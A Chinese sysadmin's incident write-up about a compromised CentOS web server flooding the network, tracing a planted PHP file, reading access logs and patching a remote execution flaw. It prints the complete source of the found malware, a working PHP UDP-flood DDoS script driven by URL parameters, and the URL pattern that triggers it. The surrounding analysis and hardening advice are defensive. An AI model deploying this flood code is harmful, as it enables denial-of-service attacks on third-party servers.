记一次Centos服务器被挂马的抓马经历
今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。
早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。Centos服务器被挂马的一次抓马经历。
我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是网站M所在的服务器。
果断SSH连接175服务器,发现175服务器连接也很慢,连上之后top一下,查看cpu负载:
top
发现有两个apache进程占用cpu一直在40%以上,马上停止httpd服务
servicehttpdstop
停止httpd服务之后,再看网络状态,175服务器也不向外发包了,一切正常。
由此判断应该是175服务器挂了马,疯狂向外发包,挤占了全部机房带宽。
下一步就是抓马了!
175服务器是有硬件防火墙,只开http80跟ssh22端口,ssh不太可能被盗号,应该是通过web漏洞挂马。早上5点才中招的,木马程序文件应该在1天之内。
切到M站点根目录之下,查找最近一天内变动的文件,执行
find./-mtime-1
果然,一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者,执行
ls-lphzLtoxn.php
这里发现文件就没了,难道这文件还会自我销毁?Centos服务器被挂马的一次抓马经历
原来发生了一个小插曲,隔壁的管理员小黄也注意到这个文件,二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道删删删删!难道木马程序不会再生成啊?你得顺藤摸瓜,不是一刀切。你得找到漏洞源头!删了没办法,再把httpd服务开启了,引狼入室,等等看能否再生成。
果然,半小时不到,新的phzLtoxn.PHP文件又生成了。查看了一下,文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。
分析一下木马文件,看下黑客意图
这里贴出phzLtoxn.php文件源代码,并作了简单注释,仅作学习之用。
<?php //设置脚本运行时间 set_time_limit(999999); //攻击目标服务器ip $host=$_GET['host']; //攻击目标服务器端口 $port=$_GET['port']; //攻击时长 $exec_time=$_GET['time']; //每次发送字节数 $Sendlen=65535; $packets=0; //设置客户机断开不终止脚本的执行 ignore_user_abort(TRUE); //step1.目标服务器$host、端口$port、运行时长$exec_time有效性 if(StrLen($host)==0orStrLen($port)==0orStrLen($exec_time)==0){ if(StrLen($_GET['rat'])<>0){ echo$_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_software'].$_GET['rat']; exit; } echo"Warningto:opening"; exit; } //step2.设定发字符串$out,这里是“AAAAAAAAAA...” for($i=0;$i<$Sendlen;$i++){ $out.="A"; } $max_time=time()+$exec_time; //step3.进行攻击,使用udp向目标服务器狠狠发串串 while(1){ $packets++; if(time()>$max_time){ break; } $fp=fsockopen("udp://$host",$port,$errno,$errstr,5); if($fp){ fwrite($fp,$out); fclose($fp); } } //step4.攻击统计 echo"SendHost$host:$port<br><br>"; echo"SendFlow$packets*($Sendlen/1024=".round($Sendlen/1024,2).")kb/1024=".round($packets*$Sendlen/1024/1024,2)."mb<br><br>"; echo"SendRate".round($packets/$exec_time,2)."packs/s".round($packets/$exec_time*$Sendlen/1024/1024,2)."mb/s"; ?>
从以上代码可以看出,是个典型的ddos攻击代码。黑客应该是把我们服务器当傀儡使用,组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器,敲入http://M站域名.com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以对目标服务器进行ddos攻击了。
查看httpd日志,分析下攻击ip源,执行
tail/var/log/httpd/access.log|grepphzLtonxn.php 183.12.75.240--[10/Aug/2012:10:38:46+0800]"GET/phzLtoxn.php?host=174.139.81.91&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"110.185.121.167--[10/Aug/2012:10:38:56+0800]"GET/phzLtoxn.php?host=218.93.248.98&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"110.185.121.167--[10/Aug/2012:10:38:58+0800]"GET/phzLtoxn.php?host=198.148.89.34&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"110.185.121.167--[10/Aug/2012:10:39:08+0800]"GET/phzLtoxn.php?host=199.119.207.133&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"110.185.121.167--[10/Aug/2012:10:39:12+0800]"GET/phzLtoxn.php?host=174.139.81.91&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"118.161.219.152--[10/Aug/2012:10:39:27+0800]"GET/phzLtoxn.php?host=198.148.89.34&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"118.161.219.152--[10/Aug/2012:10:39:27+0800]"GET/phzLtoxn.php?host=174.139.81.91&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"118.161.219.152--[10/Aug/2012:10:39:27+0800]"GET/phzLtoxn.php?host=199.119.207.133&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"118.161.219.152--[10/Aug/2012:10:39:27+0800]"GET/phzLtoxn.php?host=218.93.248.98&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"118.161.219.152--[10/Aug/2012:10:39:28+0800]"GET/phzLtoxn.php?host=61.164.148.49&port=80&time=60HTTP/1.1"404290"-""Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/5.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)"
发现源ip来自多个,目标服务器ip也有多个,都属于很多国家,有点奇怪啊,为什么黑客有针对性的攻击呢,无聊的黑客啊。
下一步,找漏洞!
1、重新审视了M站目录下文件权限。仅对几个必要的缓存、静态化的目录为apache开启了写权限,防止phzLtoxn.php文件再次生成。
2、重新开启httpd服务,使用360网站检测http://webscan.360.cn/对H站进行漏洞检测,发现H站中有严重的远程执行漏洞,于是赶紧打了补丁。
3、补丁打好之后,顺便修改了系统用户、数据库用户、ftp用户的密码、M站系统用户密码。
观察几日之后,一切正常。
小结一下几个安全原则
1、权限最小化。
web目录一定做好权限,仅仅对apache开几个必要文件夹的写权限。
2、时刻注意补丁更新。
经常使用第三方的网站安全检测工具,如http://webscan.360.cn,也可参考十大安全评估工具,如果网站系统使用了第三方常用程序,多注意一下乌云漏洞平台的信息http://www.wooyun.org/。
3、中招后一定要补牢。
别光删删删删,要查找中招源头,分析黑客目的。
这是还是请大牛小牛们分析一下,为什么这帮黑客用那么多的肉鸡来ddos攻击不同的服务器,而这些被ddos攻击的服务器之间却没有什么联系。为什么攻击没有针对性?难道是为了耗带宽玩?!